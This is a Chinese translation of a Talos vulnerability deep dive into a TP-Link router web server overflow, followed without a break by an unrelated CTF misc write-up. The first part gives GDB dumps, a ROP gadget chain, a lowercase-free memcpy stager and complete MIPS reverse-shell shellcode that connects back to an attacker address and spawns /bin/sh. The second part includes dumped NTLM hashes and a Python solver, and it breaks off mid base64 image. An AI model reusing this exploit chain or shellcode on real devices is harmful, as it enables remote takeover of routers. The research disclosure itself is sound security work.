0x679a40: "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"
0x679ac1: ""
0x679ac2: ""
0x679ac3: ""
0x679ac4: ""
0x679ac5: ""
...
0x67a165: "gp"
0x67a169: ""
0x67a16a: "\b"
0x67a16c: ""
0x67a16d: ""
0x67a16e: ""
0x67a16f: ""
0x67a170: "/web/help"
0x67a17a: "secure-Requests"
0x67a18a: " 1"
0x67a18d: "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na"...
0x67a255: "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n"
0x67a2ba: ""
0x67a2bb: ""
0x67a2bc: ""
...
在拥有预期文件扩展名或系统易受攻击的情况下，当应用遇到句点时会将提取的字符串交付于`toUpper()`函数处理。
然后应用会通过存储字节指令将该操作的结果写入基于堆栈的缓冲区内。 这可以从提取的指令中看出。
#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20 lbu $a0, 0($a0)
# returns an uppercase version of the character where possible
LOAD:00425D24 jalr $t9 ; toUpper
LOAD:00425D28 nop
# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C lw $gp, 0x38+var_28($sp)
# stores the character into $s2
LOAD:00425D30 sb $v0, 0($s2)
LOAD:00425D34
# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34 la $t9, strlen
LOAD:00425D38 jalr $t9 ; strlen
# place a pointer to the parsed data into arg0
LOAD:00425D3C move $a0, $s0
LOAD:00425D40 addiu $v1, $sp, 0x38+var_20
LOAD:00425D44 lw $gp, 0x38+var_28($sp)
LOAD:00425D48 sltu $v0, $s1, $v0
LOAD:00425D4C addu $a0, $s0, $s1
LOAD:00425D50 addu $s2, $v1, $s1
LOAD:00425D54 la $t9, toupper
程序继续执行，直到它执行到`httpGetMimeTypeByFileName`函数的结尾。此时系统会从堆栈上保存的值中加载返回地址和五个寄存器。当漏洞被利用时，这些保存的值会被正常的数据覆盖，其包括稍后我们描述的小工具地址。
#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4 lw $ra, 0x38+var_4($sp)
LOAD:00425DB8 lw $s4, 0x38+var_8($sp)
LOAD:00425DBC lw $s3, 0x38+var_C($sp)
LOAD:00425DC0 lw $s2, 0x38+var_10($sp)
LOAD:00425DC4 lw $s1, 0x38+var_14($sp)
LOAD:00425DC8 lw $s0, 0x38+var_18($sp)
LOAD:00425DCC jr $ra
LOAD:00425DD0 addiu $sp, 0x38
LOAD:00425DD0 # End of function httpGetMimeTypeByFileName
在函数结尾处，应用会将数据进行复制并覆盖掉缓冲区循环处的原始数据。之后通过弹出程序来修改堆栈数据，并使用户可以控制返回的地址。
这也意味着用户能够在HTTPD进程的上下文中远程执行代码。
### toUpper() 过滤器
在HTTP头起始解析期间，设备每迭代一个字节就会进行一次搜索周期（0x2e）并构建缓冲区。
遇到句点后，缓冲区将数据传递给`toUpper()`调用，并将缓冲区中的每个ASCII字符转换为大写的等效字符。
LOAD:00425D20 loc_425D20:
LOAD:00425D20 lbu $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24 jalr $t9 ; toUpper
LOAD:00425D28 nop
然而设备在尝试通过HTTP标头发送`shellcode`时会遇到问题。因为系统无法避免进行`toUpper()`的调用，从而会阻止使用任何小写字符。
例如下面的GET请求。
GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4
查看执行`httpGetMimeTypeByFileName`函数结尾的最后一次跳转之前的寄存器情况，我们可以看到标头中的'a'字符（0x61）已经转换为它们的大写版本（0x41）。
(GDB) i r
i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c
s0 s1 s2 s3 s4 s5 s6 s7
R16 41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141
status lo hi badvaddr cause pc
0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)
### 漏洞分析
对上面显示的寄存器的检查显示了在`toUpper()`调用之后，系统会留下可预测原始标题数据位置的指针。
虽然终止了`httpGetMimeTypeByFileName`函数结尾的最后一次跳转，但我们可以检查堆栈上的数据。在这里我们发现了现在的大写标题数据的一部分（包括payload）存储在那里。
(GDB) x/32s $sp
x/32s $sp
0x7dfff808: ""
0x7dfff809: ""
...
0x7dfff81f: ""
0x7dfff820: "5\r\n", 'A' <repeats 197 times>...
0x7dfff8e8: 'A' <repeats 200 times>...
0x7dfff9b0: 'A' <repeats 200 times>...
0x7dfffa78: 'A' <repeats 200 times>...
0x7dfffb40: 'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"...
0x7dfffc08: "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n"
0x7dfffc77: ""
0x7dfffc78: ""
0x7dfffc79: ""
...
(GDB)
相反，如果我们检查寄存器`$ s5`所指向的数据，我们会看到原始头数据仍然可访问。
(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958: ""
0x679959: ""
...
0x67995f: ""
0x679960: "/fs/help"
0x679969: "elp"
0x67996d: "HTTP/1.1"
0x679976: "\n"
0x679978: "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40: "=0.5\r\n", 'a' <repeats 194 times>...
0x679b08: 'a' <repeats 200 times>...
0x679bd0: 'a' <repeats 200 times>...
0x679c98: 'a' <repeats 200 times>...
0x679d60: 'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"...
0x679e28: "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n"
0x679e9a: ""
0x679e9b: ""
...
(GDB)
该部分内存的权限显示该范围是可执行的，所以我们直接跳转到原始数据头。
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so
...
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
`toUpper()`和`strcmp()`引入的限制，导致了这个路径无效。`toUpper()`的使用创建了一个条件，其中任何小写字母都必须被视为无效字符。
另外，由于我们的数据通过`strcmp()`调用，所以我们不能使用任何空字节。
除此之外，这些调用使我们无法使用以下任何字节：`0x00,0x61-0x7a`。
### 绕过 toUpper()函数
为了研究`toUpper()`函数带来的问题，我们创建了一小段调用`memcpy()`的代码，它在获得`$
ra`的控制权后并不使用任何小写字符或空字节来执行后续内容。 使用此代码，我们能够以原始的形式将标头数据复制到堆栈中并跳转任意地点执行。
move $a0, $t9 # put the stack pointer into arg1
addiu $a0, 0x12C # increase arg1 so we don’t overwrite this code
addiu $a1, $s5, 0x198 # load the raw header data pointer into arg2
li $a2, 0x374 # load the size into arg3
li $t9, 0x2AB01E20 # load $t9 with the address of memcpy()
jalr $t9 # call memcpy()
move $t8, $t3 # placeholder to handle delay slot without nulls
move $t9, $sp # prep $t9 with the stack pointer
addiu $t9, 0x14C # increase the $t9 pointer to the raw header
jalr $t9 # execute the raw header on the stack
move $t8, $t3 # placeholder to handle delay slot without nulls
在我们使用这种技术之前，我们需要找到一种方法来获取`memcpy()`代码的执行情况。
很幸运，在这个设备上有一个可执行的堆栈，然而，我们不知道我们的代码存储在哪里。
我们最终使用了一种改进的`ret2libc`技术，此技术帮助我们利用`uClibc`中的小工具来获取堆栈的指针并为我们的代码设置寄存器。
我们的第一个小工具位于`uClibc`的偏移`0x0002fc84`处，用于将堆栈指针递增`0x20`以超过任何`memcpy shellcode`。
为了确保使用此工具后能够获得对程序执行的控制权限，我们将第二个小工具的地址放在`0x20 + $ sp`的位置，如下所示。
LOAD:0002FC84 lw $ra, 0x20+var_8($sp)
LOAD:0002FC88 jr $ra
LOAD:0002FC8C addiu $sp, 0x20
位于`uClibc`偏移地址`0x000155b0`的第二个工具用于获取指向递增堆栈的指针。 系统将所需的指针放入寄存器`$ a1`中。
之后，我们将第三个工具的地址放在`0x58 + $ sp`位置，如下所示，以确保使用后能够拿到对程序的控制权限。
LOAD:000155B0 addiu $a1, $sp, 0x58+var_40
LOAD:000155B4 lw $gp, 0x58+var_48($sp)
LOAD:000155B8 sltiu $v0, 1
LOAD:000155BC lw $ra, 0x58+var_8($sp)
LOAD:000155C0 jr $ra
LOAD:000155C4 addiu $sp, 0x58
最后，位于`uClibc`偏移地址`0x000172fc`的工具用于跳转到堆栈缓冲区。
LOAD:000172FC move $t9, $a1
LOAD:00017300 move $a1, $a2
LOAD:00017304 sw $v0, 0x4C($a0)
LOAD:00017308 jr $t9
LOAD:0001730C addiu $a0, 0x4C # 'L'
为了方便查询工具执行成功的具体位置，我们需要获取`uClibc`的加载地址。之后我们查看下面的进程内存映射，可以看到`uClibc`的可执行版本会加载到地址`0x2aaee000`处。
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69 /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69 /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359 /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363 /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 ---p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363 /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349 /lib/librt-0.9.30.so
2ab68000-2aba7000 ---p 00000000 00:00 0
...
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 ---p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 ---p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0 [stack]
通过获取`uClibc`的加载地址并将其添加到工具所获取的偏移地址处，我们可以获得所需代码的可用地址。然后我们策略性地放置这些地址，从而执行我们的初始代码，随后执行我们自行设置的payload。
### LexraMIPS shellcode
虽然`LexraMIPS`基于了`MIPS规范`，但在尝试执行某些标准MIPS指令时，它确存在偏差。
因此，我们此处选择使用`GCC工具`专门为`LexraMIPS`开发`shellcode`。
下面的代码采用创建连接的方法，将stdin、stdout和stderr复制到套接字文件描述符中，最后生成一个shell。
我们首先在设备上打开一个套接字，利用一种技术来避免`$ t7`寄存器中产生任何空字节。 此外我们应该注意，`MIPS $
zero`寄存器在使用时不能包含任何空字节。
li $t7, -6 # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3 # $a0 must hold family (AF_INET - 0x02)
addi $a1, $t7, -3 # $a1 must hold type (SOCK_STREAM - 0x02)
slti $a2, $zero, -1 # $a2 must hold protocol (essentially unset - 0x00)
li $v0, 4183 # sets the desired syscall to 'socket'
syscall 0x40404 # triggers a syscall, removing null bytes
打开套接字后，我们使用`connect syscall`连接设备与攻击者的TCP。
在此步骤中，产生空字节是一个特殊问题，因为此设备的默认子网包含零。
为了避免这个问题，我们利用一种技术强制我们的预寄存器值产生溢出并产生所需的IP地址从而不使用空字节。
sw $v0, -36($sp) # puts the returned socket reference onto the stack
lw $a0, -36($sp) # $a0 must hold the file descriptor - pulled from the stack
sw $a1, -32($sp) # place socket type (SOCK_STREAM - 0x02) onto the stack
lui $t7, 8888 # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888 # or the $t7 register with the desired port number
sw $t7, -28($sp) # place the port onto the stack
lui $t7, 0xc0a7 # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63 # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101 # fix the ip addr (192.166.255.99 --> 192.168.0.100)
sw $t7, -26($sp) # put the ip address onto the stack
addiu $a1, $sp, -30 # put a pointer to the sockaddr struct into $a1
li $t7, -17 # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero # $a2 must hold the address length - 0x10
li $v0, 4170 # sets the desired syscall to 'connect'
syscall 0x40404 # triggers a syscall, removing null bytes
为确保设备能接受我们的输入并正确显示输出，我们必须复制stdin、stdout和stderr文件描述符。
之后我们将每个I/O文件描述符复制到我们的套接字中，从而能够成功地为设备提供输入并查看输出。
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
lw $a1, -32($sp) # put the stderr fd into $a1
li $v0, 4063 # sets the desired syscall to 'dup2'
syscall 0x40404 # triggers a syscall, removing null bytes
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
addi $a1, $t7, -1 # put the stdout fd into $a1
li $v0, 4063 # sets the desired syscall to 'dup2'
syscall 0x40404 # triggers a syscall, removing null bytes
lw $t7, -32($sp) # load $t7 for later file descriptor processing
lw $a0, -36($sp) # put the socket fd into $a0
addi $a1, $t7, -2 # put the stdin syscall into $a1
li $v0, 4063 # sets the desired syscall to 'dup2'
syscall 0x40404 # triggers a syscall, removing null bytes
最后，我们使用`execve`系统调用在设备上本地生成shell。
由于这个shell是从我们的socket生成的，并且我们已经控制了`stdin/stdout/stderr`，于是我们可以通过远程连接来控制新的shell。
lui $t7, 0x2f2f # start building the command string --> //
ori $t7, $t7, 0x6269 # continue building the command string --> bi
sw $t7, -20($sp) # put the string so far onto the stack
lui $t7, 0x6e2f # continue building the command string --> n/
ori $t7, $t7, 0x7368 # continue building the command string --> sh
sw $t7, -16($sp) # put the next portion of the string onto the stack
sw $zero, -12($sp) # null terminate the command string
addiu $a0, $sp, -20 # place a pointer to the command string into arg 1
sw $a0, -8($sp) # place a pointer to the command string array onto the stack
sw $zero, -4($sp) # null terminate the array
addiu $a1, $sp, -8 # load the pointer to our command string array into arg 2
slti $a2, $zero, -1 # sets $a2 to 0
li $v0, 4011 # sets the desired syscall to 'execve'
syscall 0x40404 # triggers a syscall, removing null bytes
通过设备上的功能，我们可以继续对设备进行分析。
### 结论
这些漏洞在物联网设备中都很常见。
攻击者可以在发现这些问题后将其结构化以便在其他设备上执行这些攻击代码。我们都必须意识到物联网设备与计算机一样，需要维护相应的软件安全以保证设备的安全性。
Talos将继续研究此类漏洞，并与供应商合作以确保客户受到保护，并在必要时提供额外的深度分析。
本文为翻译稿件，原文来源于：https://blog.talosintelligence.com/2019/01/vulnerability-deep-dive-tp-link.html | 社区文章 |
# 0RAYS-祥云杯writeup-misc
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Misc
### 层层取证
用volatility取证，发现其存在几个可疑进程，FTK Imager就是一个磁盘的取证工具，另一个文件夹的镜像文件就是用这个来取证
stikynot进程是一个便利贴程序
同时还有explorer存在，先看一下ie记录
Process: 2384 explorer.exe
Cache type "DEST" at 0x77c6fa3
Last modified: 2020-08-15 19:39:48 UTC+0000
Last accessed: 2020-08-15 11:39:50 UTC+0000
URL: XiaoMing@file:///C:/Users/XiaoMing/Desktop/flag.txt
得到了一个flag.txt的目录
然后用winrar解压Forensic_image.001得到一个Forensic_image，用FTK加载这个镜像
前往目录找到flag.txt
提示说需要仿真
然后继续在FTK里搜索一下xiaoming目录下的文件,在appdata/local/temp下找到两个可以的流量包
在上图所指流量包中，找到一个flag.docx
直接追踪UDP流可以得到一个rar文件
提示压缩包密码和开机密码一样
通过hashdump得到
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XinSai:1000:aad3b435b51404eeaad3b435b51404ee:27caa41e7118fd4429d9b9cbd87aaa40:::
XiaoMing:1001:aad3b435b51404eeaad3b435b51404ee:92efa7f9f2740956d51157f46521f941:::
将xiaoming的密码解密一下得到开机密码为xiaoming_handsome
打开压缩包，发现docx文件还有加密，没有密码了，尝试去仿真，利用FTK可以直接制作镜像，然后用虚拟机打开
发现两张便签叠在了一起
得到了文档密码
> flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}
### shuffle_code
得到一个reverse的png图片，反转一下得到二维码
扫一下得到
col426327/1132122/1211132223/3113253/61531113/111312/5323125/2222/11122153/311111/14312121/11231211/2423211/262121/422221/622132/31121/221122111/5122311/2111221221/121692/12122111/232326/11142121/31253151/22111111123/111313121/1111111/2151371row31121113/12321133/13111112/13112221121/12112232/16113232/11311311/21111231/11111211/711111117/2124112211/611111241/1311371/131152131/13/2121111311/521(11)11/1311321131/1211211/11111111/14221262/3411131/161713/422141/7122117/1111112111/7111412/71111121/131112131
根据行列的提示，以及711111117猜测是一个二维码的黑块的数据，搜索一下得到这是数织
找到一个解密的工具，解密
但是有部分无法得出，存在多种可能，所以先随便填一种
然后得到的图片是将二维码的每一行进行了打乱
按照二维码的定位符，可以先将上下大致都还原
然后根据二维码的读取方式猜测前几个字符为flag{,然后一步步还原每一行，得到二维码
### 鸣雏恋
下载附件得到一个docx文件，修改为zip后缀，得到key.txt和love.zip
key.txt零宽解密得到压缩包密码
解压压缩包得到129488张图片
一共有两种图片，怀疑是0和1的置换
写个脚本读文件MD5，置换成01。
import hashlib
import sys
def getmd5(filename):
md5hash = hashlib.md5()
f = open(filename, 'rb')
b = f.read()
md5hash.update(b)
f.close()
return md5hash.hexdigest()
flag = ""
fp = open('data.txt', 'w')
content = "out\\"
for i in range(0, 129488):
# print(getmd5(content + str(i) + ".png"))
if getmd5(content + str(i) + ".png") == "a29b9b5c770a188849b787047c7d994d":
flag += "0"
elif getmd5(content + str(i) + ".png") == "34e828cce80ef24b02c48310a697f97c":
flag += "1"
else:
print("error!!!")
continue
fp.write(''.join([chr(i) for i in [int(flag[b:b+8], 2) for b in range(0, len(flag), 8)]]))
fp.close()
解得
data:image/png;base64,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